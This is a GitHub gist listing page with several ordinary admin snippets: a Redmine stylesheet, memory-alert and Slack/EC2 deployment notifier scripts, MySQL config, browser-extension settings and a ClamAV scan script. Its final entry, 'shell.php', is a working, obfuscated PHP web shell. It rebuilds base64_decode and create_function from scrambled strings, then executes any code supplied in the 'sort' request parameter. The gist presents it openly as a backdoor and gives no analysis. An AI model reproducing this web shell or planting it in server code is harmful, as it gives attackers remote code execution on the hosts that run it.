Skip to content

Instantly share code, notes, and snippets.

Avatar

Zero Huang johnroyer

View GitHub Profile
View stylesheet-for-Redmine-4.0.5.css
@import url(../../../stylesheets/application.css);
/* A1 theme version 2.0.0 by Kirill Bezrukov www.redmineup.com */
#header {
background: #394956;
min-height: 5em;
padding: 0px;
min-height: initial;
View mem-check.sh
#!/usr/bin/env bash
function alert() {
# mail notification
curl -v -s --user 'api:MAILGUN_API_KEY' \
https://api.mailgun.net/v3/YOUR_DOMAIN/messages \
-F from='Monitor <you@gmail.com>' \
-F to=your@gmail.com \
-F subject="low momey allert - monitor" \
--form-string html="<span style=\"font-size: 1.5em;\">memory left: $1 MB <br> SWAP left: $2 MB</span>"
@johnroyer
johnroyer / main.js
Created Nov 28, 2019
try to new Pin object
View main.js
var webduino = require('webduino-js');
board = new webduino.WebArduino('Ge8pn');
board.on('ready', function (board) {
var pin = new webduino.core.Pin(board, 10, Pin.DOUT);
board.systemReset();
board.samplingInterval = 250;
var replay = new webduino.module.Relay(board, 10);
@johnroyer
johnroyer / php-info.log
Created Sep 25, 2019
PHP segment fault, ENV dump
View php-info.log
feature/controller-shipping-refactor
027d43e6f1ddb261cb0021695af6bca42a73a9c0 is the first bad commit
commit 027d43e6f1ddb261cb0021695af6bca42a73a9c0
Author: Zero <john.royer@gmail.com>
Date: Mon Sep 23 10:14:43 2019 +0800
Catch exception from SplitShipmentService
app/Http/Controllers/ApiShipmentController.php | 6 +++++-
@johnroyer
johnroyer / mysql.cnf
Last active Jul 30, 2019
MySQL 8.0 config
View mysql.cnf
[mysqld]
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
datadir = /var/lib/mysql
log-error = /var/log/mysql/error.log
default-authentication-plugin = mysql_native_password
View scriptsafe-settings-2019-10
webbugs|true
gamepad|false
syncnotify|true
fpWebGL|[]
useragentspoof|off
syncfromnotify|true
fpBattery|[]
frame|true
fpBluetooth|[]
uaspoofallow|false
@johnroyer
johnroyer / S20slack
Created Jul 12, 2019
init change notification
View S20slack
#! /bin/sh
### BEGIN INIT INFO
# Provides: slackcat
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: OpenBSD Secure Shell server
### END INIT INFO
@johnroyer
johnroyer / notify.sh
Last active Jul 12, 2019
slack notifier for AWS EC2 deployment
View notify.sh
#!/usr/bin/env bash
ID=`curl http://169.254.169.254/latest/meta-data/instance-id`
EC2_NAME=`aws ec2 describe-instances --instance-ids $ID | jq .Reservations[0].Instances[0].Tags[].Value | paste -sd ' ' - | sed -e 's/\"/ /g'`
HASH=`git rev-parse HEAD`
SHORT_HASH=`echo $HASH | head -c 6`
COMMENT=`git log --format=%B -n 1 HEAD`
BB_URL_PREFIX="https://bitbucket.org/team/project/commits"
HOST=`hostname`
REPO=$(basename `git rev-parse --show-toplevel`)
@johnroyer
johnroyer / virus-scan-clamav.sh
Last active Oct 29, 2018
scan virus in whole system by clamav (clamscan) and save log by date
View virus-scan-clamav.sh
#!/usr/bin/env bash
DATE=`date '+%Y-%m-%d'`
LOG_PATH="/var/log/clamav"
# create log folder
mkdir -p $LOG_PATH
clamscan -i -r / 2>&1 | tee "$LOG_PATH/$DATE.log"
@johnroyer
johnroyer / shell.php
Created Jul 23, 2018
PHP web shell / backdoor
View shell.php
<?php
$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();
You can’t perform that action at this time.